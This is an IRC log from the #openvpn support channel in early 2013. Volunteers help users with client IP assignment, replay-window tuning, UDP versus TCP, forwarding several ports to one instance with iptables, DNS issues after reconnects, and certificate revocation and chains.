12:01 <+pekster> combat7331: Are you asking about how to randomly connect to one of a number of <connection> profiles, or to hand out IPs from your server-side pool of IPs in a random fashion
12:07 -!- ngharo [~ngharo@shepard.sypherz.com] has joined #openvpn
12:10 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has joined #openvpn
12:10 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has quit [Changing host]
12:10 -!- ben1066 [~quassel@unaffiliated/ben1066] has joined #openvpn
12:10 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
12:10 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:11 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
12:11 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
12:11 < combat7331> @pekster, just randomly everytime a user connects a new IP.
12:11 <+pekster> I still don't understand. Randomize what? I also don't understand "everytime a user connects to a new IP" either
12:12 <+pekster> By default, OpenVPN already acts similar to DHCP in that a client only gets an IP from the server for as long as they remain connected
12:12 < combat7331> Everytime a user connects to my OpenVPN server, it should assign that customer a random external IP.
12:12 <+pekster> If the user disconnects and reconnects, they may or may not get the same IP from the pool depending on pool avaibility
12:13 < combat7331> I am not regarding to the internal IP's. More about the external IP, that are assigned by the provider to me.
12:13 <+pekster> Okay, if you want that, you'll need to manage that in a --client-connect script and dyanmically generate an 'ifconfig-push' value in the temp file that script is passed to marshal the desired "random" IP to a client
12:13 <+pekster> OpenVPN does not care about any external association you have
12:13 < combat7331> Ah yeah, right.
12:13 < combat7331> Thanks
12:14 <+pekster> If you're using RFC1918 IPs to clients, that's fine. If you're somehow binding those unroutable IPs to an external IP, you need to do that dynamically via whatever scripting method you choose to manage the association
12:14 <+pekster> OpenVPN can hand out public IPs too, just like with private IPs. You should of course own the IP block you're using if you do that
12:14 < combat7331> I do own that
12:15 <+pekster> OpenVPN manages the pool for you with 'ifconfig-pool'. You're free to manage it yourself, but then it's on you to figure out how to keep track of free vs in-use IPs from the range you pass to clients
12:15 < combat7331> how does that ifconfig-push thing work?
12:16 <+pekster> Check the manpage for --ifconfig-push and feel free to ask a specific question if you're still confused after reading the supplied documentation
12:17 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 264 seconds]
12:18 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
12:21 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
12:43 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
12:43 -!- zz_AsadH is now known as AsadH
12:44 < Eagleman> Are there ways to improve the connection bandwidth when using redirect-gateway ?
12:45 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection reset by peer]
12:46 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
12:47 < combat7331> !man
12:47 <+pekster> Eagleman: That depends completely on where your bottleneck is. You're going to be limited at a theoretical level to the bandwidth of the VPN link in such a case, plus whatever limits your server has on its uplink
12:48 < Eagleman> This is what currently happens, when i test the openvpn endpoint it reaches 80-80 Down-Up:  http://imagebin.org/243705
12:48 <+pekster> That's not surprising. What is your server provisioned for?
12:48 < Eagleman> VPS
12:48 <+pekster> No, bandwidth-wise
12:49 <+pekster> Maybe you mis-understand how redirect-gateway works; all the client traffic is sent to the remote endpoint, and it then routes the traffic through that point on the Internet. You're limited both in terms of the VPN link itself and the aggrigate of all traffic that host is generating against its provisioned limits
12:49 < Eagleman> pekster, just did a test:  http://www.speedtest.net/result/2452448715.png
12:50 <+pekster> Oh the server?
12:50 < Eagleman> yes
12:50 < Eagleman> It higher than my current network
12:50 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
12:50 <+pekster> You can try increasing the --replay-window beyond default values
12:51 < Eagleman> 79 vs 57 down and 42 vs 5 up
12:51 <+pekster> You might be running into window-limitations on how many packets out the encrypted stream is willing to support
12:51 <+pekster> Try 2x or 4x the default packet value (you need that on both peers) and see if your situation improves after a client reconnect
12:52 < Eagleman> will try
12:52 <+pekster> CPU shouldn't be an issue, but you can rule it out by making sure you don't peg a core on either the client or server to verify it's not a problem there
12:52 < Eagleman> resource wise its not even using enough worth to mention
12:53 < Eagleman> 2-3% increase of cpu power
12:53 <+pekster> Yea, that's usually the case unless you use embedded hardware or load a single-server instance up
12:54 < Eagleman> --replay-window n [t]  You are talking about the default 64 in n ?
12:54 <+pekster> Yea. You can really leave t alone (it's optional anyway.) Try 128 or 256 and see if results improve
12:55 <+pekster> If they do, see what the value after which you stop seeing improvement; you want to keep that "as low as feasible" becuase it limits replay attacks that can be performed, but too low and it'll interfere with packet delivery where the product if your bandwidth & latency is high (IIRC the manpage notes this too)
12:56 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:56 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:57 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
12:57 -!- Wintereise [Wintereise@113.11.122.231] has quit [Changing host]
12:57 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
12:57 < Eagleman7> wow
12:58 < Eagleman7> The overhead is almost eliminated
12:58 < Eagleman7> http://www.speedtest.net/result/2452470216.png
12:58 -!- Eagleman [~Eagleman@5.45.183.189] has quit [Ping timeout: 255 seconds]
12:58 <+pekster> Part of the issue is a fairly high bandwidth your server has combined with a ~100ms increase in latency across the VPN
12:58 <+pekster> That's a non-trivial amount of latency given the bw you're pushing
12:59 < Eagleman7> Which issue?
12:59 < Eagleman7> I think i missed a part
12:59 <+pekster> Lower VPN bw verses link potential
12:59 < Eagleman7> [19:55] <Eagleman> Ow, i am still on a tcp connection  is when i disconnected
13:00 <+pekster> The manpage explains in plenty of detail what the option does at a technical level, but basically you're pushing packets so fast it's dropping them as detected "replay attack" packets. If you use 'verb 4' you can see those warnings in your logs too
13:00 < Eagleman7> That only happens with tcp ?
13:01 <+pekster> It only happens with udp
13:01 <+pekster> (as the OpenVPN encapsulating protocol)
13:01 <+pekster> TCP has guarenteed delivery and ordering built into the protocol
13:01 < Eagleman7> hmm, i switched from tcp to udp and it elminated the overhead
13:01 -!- Tomoyo [Wintereise@113.11.122.231] has joined #openvpn
13:02 -!- Tomoyo is now known as Guest88161
13:02 <+pekster> You don't want to use tcp as the ovpn protocol unless you need it for some reason
13:02 <+pekster> It's a waste of overhead and performs poorly when encapsulating another TCP stream inside
13:03 < Eagleman7> pekster the main reason i was using it is becuase my school is almost blocking every port, so i used 443 with tcp
13:03 <+pekster> I'll sometimes run a 2nd VPN server on some common TCP ports, but often you can get away with UDP on ports 53 or similarlly common values
13:03 < EugeneKay> You can almost always find an open udp port
13:04 <+pekster> An IDS/DPI system will catch it, but it's not too common to find those on general-access networks
13:04 <+pekster> I tend to run 2 servers, one for UDP and another (backup-only) on TCP and just forward a slew of common ports if I'm not using them so I have good chance for remote access on abusive firewalls
13:05 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit [Ping timeout: 240 seconds]
13:06 < Eagleman7> Cant remember which ports are open, i am currently doing my internship so i cant test it out for a few weeks
13:06 < Eagleman7> But i will when i back
13:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
13:06 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:08 < Eagleman7> SHould also setup my openvpn server to listen to multiple ports
13:08 <+pekster> OpenVPN won't do that; your firewall/NAT setup can enable it though
13:09 < Eagleman7> Multiple instances*
13:10 <+pekster> '-A PREROUTING -p udp -m multiport --dports 1194,53,66,67,161 -j DNAT --to-destination $IP_GOES_HERE:1194' or similar
13:10 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Quit: [self sleep]]
13:10 <+pekster> Sure, multiple instances too, but I'm not going to run dozens of instances just to get them exposed on multiple ports
13:10 < Eagleman7> Aha, thanks will save it
13:10 < Eagleman7> well i need atleast to, one for udp and tcp right?
13:11 < Eagleman7> to=two
13:11 <+pekster> If you want both options, yes
13:11 <+pekster> So that's a minimum of 2 openvpn instances, one per protocol. Each needs its own unique network, but you can route between them if you'd like
13:11 <+pekster> (just set the firewall to do it and enable IP forwarding)
13:12 <+pekster> Erm, 67 & 68 was what I meant. I'm sure google can suggest other common ports too
13:13 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 244 seconds]
13:13 < ngharo> pekster: can I bounce an idea off you? Thinkin of making a VPN only accessable web dashboard for my users to modify their routes.  Toggle buttons to route out Tor transparent proxy and/or toggle button to route out another VPN tunnel.  I'd need to make a sudo exception to allow httpd user to modify routes.  Thoughts?
13:14 <+pekster> Why do that server-side? A client-side app can just as easily manage routes if that's your goal
13:15 <+pekster> Otherwise sure, CGI can be configured to use suexec or similar and set the UID/GID of the CGI to do what you need, or have it call a privelage-elevating command (such as via sudo or a suid binary)
13:16 <+pekster> Normally use limit the scope of such elevation as much as possible to limit the potential for a scripting error to an attacker looking to gain access
13:16 < ngharo> guess i'm thinking server-side so I dont have to write platform specific apps
13:16 < ngharo> i'm running a second apache instance bound to tun0
13:17 < combat7331> hello pekster
13:17 < combat7331> If i setup round robin DNS
13:17 < ngharo> still a bit nervous about running commands as root with user input, but my users *shouldn't* be messing around
13:17 <+pekster> Treat security on the httpd the same as you would normally, since you presumably don't want "any" VPN user able to abuse your system
13:17 < combat7331> will it show the same on the external ip.
13:17 <+pekster> Yea
13:17 < combat7331> ?*
13:18 <+pekster> combat7331: No clue. That's well outside the scope of OpenVPN at that point, and boils down to your implementation details
13:18 < ngharo> pekster: ok kewl.  thanks, just wanted to make sure I wasn't crafting up a horrible idea
13:18 < combat7331> if i connect to IP "179.56.96.33" will it show as external IP that or the one that is assigned to the default internface?
13:19 < combat7331> interface*
13:19 <+pekster> It's only horrible if you implement it horribly ;)
13:19 < Eagleman7> Thanks for helping pekster, i have to generate some certificates now :). Cya
13:20 < combat7331> local 179.56.96.33-35
13:20 < combat7331> can i do that?
13:21 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has left #openvpn []
13:21 <+pekster> combat7331: huh? No. What are you trying to do, exactly? --local is for binding the OpenVPN socket to a specific IP
13:22 < combat7331> Random external IP on connection
13:22 < combat7331> i tried via clientconnect
13:22 < combat7331> but I dont understand the ifconfig-push arguments
13:23 <+pekster> They're the same as the --ifconfig directive, but the server sends to the client
13:24 < combat7331> so I would do this in the client connect script: ifconfig-push 179.56.96.33
13:24 <+pekster> Okay, the manpage tells you that you need 2 arguments
13:24 <+pekster> So no. Supply the 2nd arguemnt depenidng on your topology
13:25 < combat7331> ifconfig-push <internal ip> <external ip>?
13:25 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:25  * pekster sighs
13:25 <+pekster> OpenVPN is *not* responsible for tying a private IP to a public one
13:25 <+pekster> Do that yourself, using whatever firewall/NAT tools you prefer on your OS
13:25 < combat7331> thats not what I want
13:26 <+pekster> Bummer. OpenVPN can't magically maintain an external association outside of its own process
13:26 < combat7331> I just want that everytime somebody connects to my VPN gets a different IP address externally that is shown to the internet.
13:26 <+pekster> I'd like OpenVPn to make me breakfast too, but it lacks support to do that
13:26 < Eagleman7> Any idea why all my internet browsers stop working after i disconnect the openvpn connection? I can nslookup and ping everything just fine, and restarting the webbrowser does not help either, i'm on windows
13:27 <+pekster> combat7331: Then go develop a solution to do that. Write some code to make the assocation between the rfc1918 space you're giving clients, or give them a public IP directly via some code you write to get a random assignment and route traffic to them
13:27 <+pekster> Either way you need to WRITE YOUR OWN CODE to do that. I'm not going to work for free for your business
13:27 <+pekster> OpenVPN does *not* support what you're asking out of the box
13:27 <+pekster> So, go do what business owners do and develop a solution to your problem
13:28 < combat7331> Sure, thanks for the help though :)
13:29 < Eagleman7> Any idea why all my internet browsers keep saying cannot make a connection [ WEBSITE ] after i disconnect the openvpn connection? I can nslookup and ping everything just fine, and restarting the webbrowser does not help either, i'm on windows
13:30 <+pekster> browser proxy perhaps? If you can ping the same target you can't brorwse to, either the browser is misconfigured to connect via the same path, or some firewall is blocking the access (or the host is simply down)
13:31 <+pekster> Doesn't sound like an OpenVPN problem if you can reach the host via other protocols/programs
13:34 < Eagleman7> I go with a restart then
13:34 < Eagleman7> I cant troubleshoot browsers
13:35 -!- combat7331 [~Mamba@d54C66165.access.telenet.be] has quit []
13:41 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
13:52 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
14:00 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
14:00 -!- MeanderingCode [~Meanderin@199.254.238.179] has quit [Ping timeout: 252 seconds]
14:01 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
14:08 -!- dazo_afk is now known as dazo
14:18 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
14:34 -!- brute11k [~brute11k@89.249.230.101] has quit [Quit: Leaving.]
14:35 -!- brute11k [~brute11k@89.249.230.101] has joined #openvpn
14:36 -!- Orbi [~opera@anon-186-58.vpn.ipredator.se] has joined #openvpn
14:39 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
14:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:51 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
14:55 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
15:00 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
15:06 < dioz> haha
15:32 < Orbi>    Hi, after a pppoe reset OpenVPN does not always reestablish connection. I want to re-launch openvpn with a bash script. Is it possible to capture the 'Initialization Sequence Completed' message of OpenVPN to use it in the script?
15:40 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 264 seconds]
15:43 < kisom> Orbi: You should just let openvpn handle the reconnection. Check the logs and see why it does not reconnect.
15:43 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0.1/20130116073211]]
15:45 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:48 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
15:50 < Orbi> It is a DNS problem, the client cannot resolve the host address.
15:51 -!- Minnebo_ [~Minnebo@78-23-254-38.access.telenet.be] has quit [Ping timeout: 248 seconds]
15:52 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:53 < dioz> i'll just troll and say... set the ip address in the .ovpn ?
15:53 -!- dydzEz2__ [~dydzEz2@2601:d:4a80:72:5d05:b2a0:d5f9:d9ad] has joined #openvpn
15:54 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
15:56 -!- dydzEz2_ [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Ping timeout: 252 seconds]
15:56 < Orbi> I could, but I'd say it doesn't play nice with dnsmasq. Since I have several computers on the network and that OpenVPN runs on the router, every computer on the network has DNS problem.
15:58 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:59 <+pekster> How is that related to openvpn? Use the IP if DNS isn't available when you (re)connect. Otherwise each time a connection is attempted after any timeout, the process will attempt to resolve any DNS name in the 'remote' directive on each connect attempt (persuant to any --resolv-retry setting, which defaults to "infinite"
15:59 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
15:59 <+pekster> I fail to see how a pppoe event (even if you get a new IP) prevents you from performing a DNS lookup
16:01 < Orbi> I don't know how it is related, that's what I'm trying to figure out. If openvpn is killed before the pppoe connection reset, DNS lookup is fine.
16:02 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:05 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit []
16:15 -!- Orbi [~opera@anon-186-58.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
16:26 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:33 -!- Orbi [~opera@anon-185-71.vpn.ipredator.se] has joined #openvpn
16:38 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
16:39 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
16:40 <+pekster> Orbi: It might be binding to the interface that gets torn down. a HUP should fix that, which I suggested a few days ago that you tie into your distro's network post-connection script for the uplink interface
16:41 <+pekster> My suggestion still stands
16:41 -!- u0m3_ [~Radu@92.80.72.203] has quit [Ping timeout: 248 seconds]
16:46 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
17:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:05 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Remote host closed the connection]
17:15 -!- Orbi [~opera@anon-185-71.vpn.ipredator.se] has quit [Quit: Orbi]
17:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
17:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
17:18 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:19 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
17:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:31 -!- dazo is now known as dazo_afk
17:34 < dvl> Late last week I installed FreeBSD 9.1 onto a gmirror, which I created during the install process.  I documented it via photographs and comments.  Hopefully, the next time I do this, it will be useful to refer to this resource.  http://bit.ly/VW7bbN
17:34 < dvl> yeah, there's a lot of FreeBSD in here? speak up!
17:35 <+pekster> BSD has been jailed? Free BSD! :P
17:35 <+pekster> </really-bad-BSD-jokes>
17:40 < dvl> Not bad
17:41 <+pekster> If I decide to remove the cork from one of my wine bottles the jokes might really start to go downhill ;)
17:42 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
17:42 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has quit [Quit: Leaving]
17:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:50 -!- b1rkh0ff [~b1rkh0ff@178.77.1.83] has quit [Ping timeout: 256 seconds]
17:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:26 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Read error: Operation timed out]
18:28 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
18:39 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
18:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:10 < EugeneKay> Mmmm beer
19:11  * pekster is torn between wine and beer
19:11 <+pekster> Although after fixing my initramfs up earlier, maybe wine is in order
19:12 <+pekster> It's always fun rebooting a box knowing that it'll either come back in a minute or two, or you'll spend the next 20 to 50 minutes with a RS232 cable sitting 2 meters from the box you just hosed ;)
19:15 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
19:16 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
19:24 < EugeneKay> My colo has three gateway boxes with keepalived to ensure it doesn't matter :-p
19:24 < EugeneKay> All of my backend boxes are ESXi with vMotion enabld, so the VMs don't care what they're running on. If one of them needs a reboot it's trivial to fix via the console
19:25 < EugeneKay> The only thing I really worry about is my NetApp SANs. I haven't gotten them running clustered quite yet(laziness), so I have to shut all of the VMs down on the one to be rebooted
19:25 < EugeneKay> Buut.... they never reboot. Ever.
19:26 < EugeneKay> One of these days I'll get a second power circuit dropped in and proper stacked switches.
19:26 < EugeneKay> But not this month
19:29 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
19:30 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
19:40 -!- raidz is now known as raidz_away
19:40 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
19:40 -!- Guest88161 [Wintereise@113.11.122.231] has left #openvpn []
19:41 -!- Wintereise [Wintereise@unaffiliated/wintereise] has joined #openvpn
19:44 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:09 -!- u0m3 [~Radu@92.80.72.203] has joined #openvpn
20:23 -!- Guest88161 [Wintereise@113.11.122.231] has joined #openvpn
20:23 -!- Wintereise [Wintereise@unaffiliated/wintereise] has quit [Ping timeout: 244 seconds]
20:27 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
21:17 -!- Wintereise [Wintereise@113.11.122.231] has joined #openvpn
21:18 -!- Guest88161 [Wintereise@113.11.122.231] has quit [Ping timeout: 256 seconds]
22:12 -!- Wintereise [Wintereise@113.11.122.231] has quit [Ping timeout: 252 seconds]
22:21 -!- ngharo [~ngharo@shepard.sypherz.com] has quit [Ping timeout: 245 seconds]
22:21 -!- khem_ [~x@lotus.redl8.com] has quit [Ping timeout: 252 seconds]
22:22 -!- ngharo [~ngharo@shepard.sypherz.com] has joined #openvpn
22:22 -!- khem_ [~x@lotus.redl8.com] has joined #openvpn
22:25 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 240 seconds]
22:36 -!- khem_ [~x@lotus.redl8.com] has quit [Ping timeout: 248 seconds]
22:37 -!- khem_ [~x@lotus.redl8.com] has joined #openvpn
22:40 -!- uberushaximus [~uberushax@shepard.sypherz.com] has quit [Ping timeout: 240 seconds]
22:42 -!- uberushaximus [~uberushax@shepard.sypherz.com] has joined #openvpn
22:56 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
--- Day changed Tue Jan 22 2013
00:14 -!- iml_ [~iml@c-24-60-231-68.hsd1.ct.comcast.net] has joined #openvpn
00:14 < iml_> !welcome
00:14 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
00:14 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
00:41 -!- iml_ [~iml@c-24-60-231-68.hsd1.ct.comcast.net] has left #openvpn []
00:49 -!- pekster [~rewt@openvpn/user/pekster] has quit [Quit: kernel upgrade]
00:49 -!- Otacon22 [~otacon22@isd-vpn.doshisha.ac.jp] has joined #openvpn
00:50 < Otacon22> Hi guys, I'm getting the "TLS Error: reading acknowledgement record from packet" error
00:50 < Otacon22> and I don't use tls-key on any client/server
00:51 < Otacon22> But actually I'm tunneling the openvpn connection inside a very slow udp connection
00:51 < Otacon22> if openvpn starts to send packets using an high rate, they may be dropped
01:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:09 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
01:13 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 264 seconds]
01:13 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
01:14 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:14 -!- Qianyi [~Qianyi@180.155.14.35] has quit [Quit: Leaving]
01:24 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
01:28 -!- Minnebo_ [~Minnebo@office.exabyte.be] has joined #openvpn
01:31 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:39 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
01:43 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
01:50 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:54 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
02:01 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:11 -!- dydzEz2__ [~dydzEz2@2601:d:4a80:72:5d05:b2a0:d5f9:d9ad] has quit [Quit: Leaving]
02:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:22 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has joined #openvpn
02:36 -!- dydzEz2 [~dydzEz2@2601:d:4a80:72:3cca:2357:4ff9:4c4f] has joined #openvpn
02:37 -!- AsadH is now known as zz_AsadH
02:54 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
02:55 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 248 seconds]
02:59 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
03:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
03:01 -!- mode/#openvpn [+o krzee] by ChanServ
03:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:07 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
03:17 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn
03:21 -!- MeanderingCode_ [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Ping timeout: 248 seconds]
03:24 -!- dydzEz2 [~dydzEz2@2601:d:4a80:72:3cca:2357:4ff9:4c4f] has quit [Quit: Leaving]
03:53 -!- Otacon22 [~otacon22@isd-vpn.doshisha.ac.jp] has quit [Ping timeout: 272 seconds]
04:10 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
04:10 -!- zz_AsadH is now known as AsadH
04:12 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:14 < AsadH> yo novaflash
04:14 < AsadH> novaflash novaflash
04:14 < AsadH> :(
04:15 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:26 -!- mXr [mxr@chello084112107202.24.11.vie.surfer.at] has joined #openvpn
04:26 < mXr> hello
04:26 < mXr> i have a strange issue with revocation of certificates, using openvpn 2.2.1
04:26 < mXr> anyone got an idea maybe... i have a certificate with a certain common name X
04:26 < mXr> it had the serial 08
04:27 < mXr> it got revoked, a long time later the person is supposed to get a new cert, so i created a new one with the same common name X, this gime it got serial number 1A
04:27 < mXr> afaik revocation checks should be based on serial
04:27 < mXr> but appearently, openvpn checks against CN? because i cannot connect due to it "being revoked" even tho it certainly is not
04:28 < mXr> is it supposed to work like that?
04:30 -!- dazo_afk is now known as dazo
04:31 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 246 seconds]
04:35 -!- BtbN [~btbn@btbn.de] has joined #openvpn
04:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
04:38 -!- mXr [mxr@chello084112107202.24.11.vie.surfer.at] has quit [Remote host closed the connection]
04:39 -!- Orbi [~opera@anon-185-41.vpn.ipredator.se] has joined #openvpn
04:45 -!- b1rkh0ff [~b1rkh0ff@178.77.23.88] has joined #openvpn
04:47 -!- lazerbeak [~lazerbeak@unafffiliated/lazerbeak] has joined #openvpn
04:48 < lazerbeak> hi I have setup openvpn and its connecting to my vpn, but windows is still using the old connection?
04:55 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has joined #openvpn
04:56 < Mava> if there is somebody, who knows about stacked and chained. could you verify that: Stacked certificate is a collection of more than one certificates and In chain, every each certificate is depending on it's issuer.
04:56 < Mava> having again human error with this certificate stack and chain ideology =/
05:24 <@dazo> Mava: https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains
05:24 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net)
05:33 < Mava> öer.. something that I remembered
05:33 < Mava> got to put that site to bookmarks etc. that I can really find it again more easily =)
05:50 -!- AsadH is now known as zz_AsadH
05:55 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:13 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
06:13 -!- Minnebo__ [~Minnebo@office.exabyte.be] has joined #openvpn
